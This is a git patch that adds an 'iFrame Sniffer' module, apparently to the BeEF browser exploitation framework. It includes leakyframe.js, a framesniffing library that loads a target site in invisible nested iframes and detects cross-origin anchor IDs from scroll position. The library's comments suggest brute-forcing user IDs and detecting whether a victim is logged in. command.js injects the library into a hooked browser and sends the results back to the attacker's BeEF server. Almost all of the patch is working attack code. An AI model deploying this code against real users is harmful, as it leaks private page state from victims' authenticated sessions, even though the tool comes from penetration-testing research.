From e4ea5dfff9b913952b870793abe85a3f56330798 Mon Sep 17 00:00:00 2001 From: root Date: Thu, 17 May 2012 18:09:00 +0200 Subject: [PATCH] Closes #644 but needs to be tested on other browsers --- modules/misc/iframe_sniffer/command.js | 80 +++++ modules/misc/iframe_sniffer/config.yaml | 25 ++ modules/misc/iframe_sniffer/leakyframe.js | 381 ++++++++++++++++++++++ modules/misc/iframe_sniffer/module.rb | 36 ++ 4 files changed, 522 insertions(+) create mode 100644 modules/misc/iframe_sniffer/command.js create mode 100644 modules/misc/iframe_sniffer/config.yaml create mode 100644 modules/misc/iframe_sniffer/leakyframe.js create mode 100644 modules/misc/iframe_sniffer/module.rb diff --git a/modules/misc/iframe_sniffer/command.js b/modules/misc/iframe_sniffer/command.js new file mode 100644 index 000000000..21e6987d5 --- /dev/null +++ b/modules/misc/iframe_sniffer/command.js @@ -0,0 +1,80 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// + +beef.execute(function() { + var inputURL = '<%= @inputUrl %>'; + var anchorsToCheck = '<%= @anchorsToCheck %>'; + var arrayOfAnchorsToCheck = []; + + //the anchors should be seperated with ',' + //remove tabs, newlines, carriage returns and spaces + anchorsToCheck = anchorsToCheck.replace(/[ \t\r\n]/g,''); + arrayOfAnchorsToCheck = anchorsToCheck.split(','); + + var resultList = []; + var resultString = ''; + + //check if the leakyframe library is loaded + //if not add it to the DOM + if (typeof LeakyFrame !== 'function'){ + var leakyscript = document.createElement('script'); + + leakyscript.setAttribute('type', 'text/javascript'); + leakyscript.setAttribute('src', 'http://'+beef.net.host+':'+beef.net.port+'/leakyframe.js'); + var theparent = document.getElementsByTagName('head')[0]; + theparent.insertBefore(leakyscript, theparent.firstChild); + } + + var timeout = 100; + + //give the DOM some time to load the library + poll = function(){ + setTimeout(function(){ + timeout--; + if (typeof LeakyFrame === 'function') { + new LeakyFrame(inputURL, + function(frame){ + //check each anchor + for (var anchor = 0; anchor < arrayOfAnchorsToCheck.length; anchor++){ + if (frame.checkID(arrayOfAnchorsToCheck[anchor])){ + resultList.push('Exists'); + } + else{ + resultList.push('Does not exist'); + } + } + frame.remove(); + + //create the resultstring + for (var i = 0; i < resultList.length; i++){ + resultString = resultString + '#' + arrayOfAnchorsToCheck[i] + ' ' + resultList[i] + '; '; + } + + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result: ' + resultString); + },false); + } + else if (timeout > 0){ + poll(); + } + else { + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'time-out occured!'); + } + }, 100); + }; + + poll(); +}); + diff --git a/modules/misc/iframe_sniffer/config.yaml b/modules/misc/iframe_sniffer/config.yaml new file mode 100644 index 000000000..0fc20b8fa --- /dev/null +++ b/modules/misc/iframe_sniffer/config.yaml @@ -0,0 +1,25 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + iframe_sniffer: + enable: true + category: "Misc" + name: "iFrame Sniffer" + description: "This module attempts to do framesniffing (aka Leaky Frame). It will append leakyframe.js (written by Paul Stone) to the DOM and check for specified anchors to be present on a url.
For more information, refer to http://www.contextis.co.uk/research/blog/framesniffing/" + authors: ["Bart Leppens"] + target: + working: "S" diff --git a/modules/misc/iframe_sniffer/leakyframe.js b/modules/misc/iframe_sniffer/leakyframe.js new file mode 100644 index 000000000..e42503a8e --- /dev/null +++ b/modules/misc/iframe_sniffer/leakyframe.js @@ -0,0 +1,381 @@ +/** + * LeakyFrame JS Library + * + * Copyright (c) 2012 Paul Stone + * + * Permission is hereby granted, free of charge, to any person obtaining a copy of this + * software and associated documentation files (the "Software"), to deal in the Software + * without restriction, including without limitation the rights to use, copy, modify, + * merge, publish, distribute, sublicense, and/or sell copies of the Software, and to + * permit persons to whom the Software is furnished to do so, subject to the following + * conditions: + * + * The above copyright notice and this permission notice shall be included in all copies + * or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, + * INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A + * PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT + * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION + * OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE + * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + * + */ + + +/* + +This JS library can be used to easily try out the Framesniffing (aka Frame Leak, aka Anchor Element Position Detection) technique. +Currently (as of Mar 2012) the technique works in IE8, IE9 and most +webkit-based browsers. + +Example usage: + +new LeakyFrame('http://example.com', function(frame) { + if (frame.checkID('login-form')) { + alert("You're not logged in"); + frame.remove(); + return; + } + + var anchors = {'foo', 'bar', 'baz'}; + var frags = frame.findFrags(anchors); + alert('Found the following anchors on the page: ' + frags.join(', ')); +} + + +Redirects +--------- +Make sure that the URL you're loading doesn't redirect to a different URL, +as this can break anchor checking in some browsers and will slow down +checks for multiple anchors (e.g. brute-forcing). + +E.g. You create LeakyFrame with http://foo.com/somepage and it redirects +to http://foo.com/somepage?98723945 + +The reason for this is that the JS code can't know the URL that the frame +has redirected to (due to same-origin policy). When changing the #fragment +at the end of the URL to check for an anchor, the entire URL must be +reset using window.location. So if a redirect has occurred, the original +URL will be loaded in the iframe, causing a full page load and another +redirect to occur. + +Some browsers will preserve URL fragments across page redirects (Chrome +does, and I think IE10 does now too). For those browsers you can create +a LeakyFrame and pass in a URL with an fragment already on the end, then +call frame.nonZero() to see if a scroll has occurred. The findManyMatchingURLs +and findFirstMatchingURL methods should also work with redirects. + +*/ + +/** + * Creates a new LeakyFrame object + * + * This constructor creates a nested iframes and loads 'url' into the inner one + * The outer frame is 10x10, and the inner frame 1000x10,000px to force the outer + * frame to scroll when checking for anchors. + * + * @param url - URL to load into the iframe. + * @param callback - A function that will be called when the frame has loaded. The + * the callback function will be passed the newly created LeakyFrame object + * @param debug - If true, the created frames will be made visible and outer + * frame will be made larger (140x140) + */ +function LeakyFrame(url, callback, debug) { + var outer = document.createElement('iframe'); + outer.setAttribute('frameBorder', '0'); + outer.setAttribute('scrolling', 'no') + document.body.appendChild(outer); + + outer.contentWindow.document.open(); + outer.contentWindow.document.close(); + + var inner = outer.contentWindow.document.createElement('iframe'); + inner.setAttribute('frameBorder', '0'); + + outer.contentWindow.document.body.style.margin = 0; + outer.contentWindow.document.body.style.padding = 0; + inner.setAttribute('style', 'margin:0; border:none;overflow:hidden;position:absolute; left:0px;top:0px;width:1000px;height:10000px;background-color:white;'); + + if (!debug) + outer.setAttribute('style', 'border:none;opacity:0'); + + outer.contentWindow.document.body.appendChild(inner); + + outer.width = 10; + outer.height = 10; + if (debug) { + outer.width=140; + outer.height=140; + } + this.outer = outer; // outer iframe element + this.inner = inner; // inner iframe element + this.innerWin = inner.contentWindow; // window object of outer iframe + this.outerWin = outer.contentWindow; // window object of inner iframe + this.outerDoc = outer.contentWindow.document; // document of outer iframe + this.removed = false; + if (callback) + this.load(url, callback); +} + +/** + * Load a new URL into the inner iframe and do a callback when it's loaded + */ +LeakyFrame.prototype.load = function(url, callback) { + this.inner.contentWindow.location = url; + var me = this; + var f = {}; + f.fn = function() { + if (me.inner.removeEventListener) + me.inner.removeEventListener('load', f.fn); + else if (me.inner.detachEvent) + me.inner.detachEvent('onload', f.fn); + + me.currentURL = me._stripFragment(url); + if (callback) + callback(me); + } + if (this.inner.addEventListener) + this.inner.addEventListener('load', f.fn, false); + else if (this.inner.attachEvent) + this.inner.attachEvent('onload', f.fn); +} + + +/** + * Find the current scroll position of the outer iframe + * (should correspond to the position of the current anchor + * in the inner iframe) + * @return object with .x and .y properties + */ +LeakyFrame.prototype.getPos = function() { + var x = this.outerDoc.body.scrollLeft; + var y = this.outerDoc.body.scrollTop; + return {x:x, y:y}; +} + + +/** + * Reset the scroll position of the iframe + */ +LeakyFrame.prototype.resetPos = function() { + this.outerWin.scrollTo(0,0); +} + +/** + * Checks if the iframe has scrolled after being reset + */ +LeakyFrame.prototype.nonZero = function() { + var pos = this.getPos(); + return (pos.x > 0 || pos.y > 0); +}; + +/** + * Check if anchor 'id' exists on the currently loaded page + * This works by first resetting the scroll position, adding + * #id onto the end of the current URL and then seeing if + * the scroll position has changed. + * + * Optional parameters x and y specify the initial scroll + * position and default to 0. Useful in some cases where + * weird scrolling behaviour causes the page to scroll to + * (0,0) if an anchor is found. + * + * @return boolean - true if the anchor exists + */ +LeakyFrame.prototype.checkID = function(id, x, y) { + if (!x) x = 0; + if (!y) y = 0; + this.outerWin.scrollTo(x,y); + this.innerWin.location = this.currentURL + '#' + id; + var result = this.getPos(); + return (result.x != x || result.y != y); +} + +/** + * Given an array of ids, will check the current page to see which + * corresponding anchors exist. It will return a dictionary of + * positions for each matched anchor. + * + * This can be incredibly quick in some browsers (checking 10s or + * 100s of IDs per second), so could be used for things like + * brute-forcing things like numeric user IDs or lists of product + * codes. + * + * @param ids - an array of IDs to be checked + * @param templ - optional template which is used to make the URL + * fragment. If the template is 'prod{id}foo' and you pass in the + * array [5,6,7], then it will check for anchors: + * prod5foo, prod6foo and prod7foo + * @return a dictionary containing matched IDs as keys and an + * array [x,y] as values + */ +LeakyFrame.prototype.findFragPositions = function(ids, templ) { + this.outerWin.scrollTo(0,0); + if (templ) { + var newids = []; + for (var i = 0; i < ids.length; i++) + newids.push(templ.replace('{id}', ids[i])); + } else { + newids = ids; + } + var positions = {}; + for (var i = 0; i < ids.length; i++) { + var id = newids[i]; + //this.outerWin.scrollTo(0,0); + this.innerWin.location = this.currentURL + '#' + id; + var x = this.outerDoc.body.scrollLeft; + var y = this.outerDoc.body.scrollTop; + + if (x || y) { + positions[ids[i]] = [x, y]; + this.outerWin.scrollTo(0,0); + } + } + return positions; +} + +/** + * Same as findFragPositions but discards the positions + * and returns only an array of matched IDs. + */ +LeakyFrame.prototype.findFrags = function(ids, templ) { + var found = this.findFragPositions(ids, templ); + var ids = []; + for (var id in found) + ids.push(id); + return ids; +} + +LeakyFrame.prototype._stripFragment = function(url) { + var pos = url.indexOf('#'); + if (pos < 0) return url; + this.loadFrag = url.substr(pos+1); + return url.substr(0, pos) +} + +/** + * Removes the iframe from the document. + * If you're creating lots of LeakyFrame instances + * you should call this once you're done with each + * frame to free up memory. + */ +LeakyFrame.prototype.remove = function() { + if (this.removed) return; + this.outer.parentNode.removeChild(this.outer); + this.removed = true; +} + + +/** + * Load a bunch of URLs to find which ones have a matching fragment + * (i.e. cause the page to scroll). (static method) + * + * @param url - a base URL to check with {id} where id will go + * (e.g http://www.foo.com/userprofile/{id}#me) + * @param ids - dictionary of key:value pairs. the keys will be + * used to replace {id} in each url + * @param callback - a function that gets called when an id is found. + * It gets passed the matching key and value + * @param finishedcb - a function that gets called when all the urls + * have been checked. It gets passed true if any URLs were matched + */ +LeakyFrame.findManyMatchingURLs = function(url, ids, callback, finishedcb, stopOnFirst) { + var maxConcurrent = 3; + var inProgress = 0; + var todo = []; + var interval; + var loadCount = 0; + var allFound = {}; + var allPositions = {}; + var framePool = {}; + var found = 0; + var cancelled = false; + for (var key in ids) { + todo.push(key); + loadCount++; + } + + var cancel = function() { + cancelled = true; + for (var i in framePool) + framePool[i].remove(); + if (interval) + window.clearInterval(interval); + } + + var cb = function(f, foundFrag) { + inProgress--; + loadCount--; + + if (f.nonZero()) { + found++; + var foundVal = ids[foundFrag]; + var foundPos = f.getPos(); + allFound[foundFrag] = foundVal; + allPositions[foundFrag] = foundPos; + + if (!cancelled) + callback(foundFrag, foundVal, foundPos, allFound, allPositions); + if (stopOnFirst) + cancel(); + } + if ((loadCount == 0 && !stopOnFirst) || // 'finished' call for findMany + (loadCount == 0 && stopOnFirst && found == 0)) // 'fail' callback for stopOnFirst (only if none were found) + finishedcb(found > 0, allFound, allPositions); + f.remove(); + delete framePool[foundFrag]; + } + + var loadMore = function() { + if (todo.length == 0) { + // no more ids to do + window.clearInterval(interval); + interval = null; + } + if (inProgress >= maxConcurrent) { + // queue full, waiting + return; + } + var loops = Math.min(maxConcurrent - inProgress, todo.length); + for (var i=0; i < loops; i++) { + inProgress++; + var nextID = todo.shift(); + var thisurl = url.replace('{id}', nextID); + + framePool[nextID] = new LeakyFrame(thisurl, function(n){ + return function(f){ setTimeout(function() {cb(f,n)}, 50) } // timeout delay required for reliable results on chrome + }(nextID) + ); + } + } + interval = window.setInterval(loadMore, 500); +} + + +/** + * Same as findManyMatchingURLs but stops after the first match is found + * + * @param url - a base URL to check with {id} where id will go + * (e.g http://www.foo.com/userprofile/{id}#me) + * @param ids - dictionary of key:value pairs. the keys will be used to + * replace {id} in each url + * @param successcb - a function that gets called when an id is found. + * It gets passed the matching key and value + * @param failcb - a function that gets called if no ids are found + * @param finalcb - a function that gets called after either sucess or failure + */ +LeakyFrame.findFirstMatchingURL = function(url, ids, successcb, failcb, finalcb) { + var s = function(k, v) { + successcb(k, v); + if (finalcb) + finalcb(); + } + var f = function() { + if (failcb) + failcb(); + if (finalcb) + finalcb(); + } + return LeakyFrame.findManyMatchingURLs(url, ids, s, f, true); +} diff --git a/modules/misc/iframe_sniffer/module.rb b/modules/misc/iframe_sniffer/module.rb new file mode 100644 index 000000000..7af2804af --- /dev/null +++ b/modules/misc/iframe_sniffer/module.rb @@ -0,0 +1,36 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Iframe_sniffer < BeEF::Core::Command + + def pre_send + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/misc/iframe_sniffer/leakyframe.js','/leakyframe','js') + end + + def self.options + return [ + {'name' => 'inputUrl', 'ui_label'=>'input URL', 'type' => 'textarea', 'value' =>'http://en.wikipedia.org/wiki/Beef', 'width' => '400px', 'height' => '50px'}, + {'name' => 'anchorsToCheck', 'ui_label' => 'anchors to check', 'value' => 'History,Exploit,Etymology,References,ABCDE', 'type' => 'textarea', 'width' => '400px', 'height' => '100px' } + ] + end + + def post_execute + content = {} + content['resultList'] = @datastore['resultList'] + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('leakyframe.js') + save content + end + +end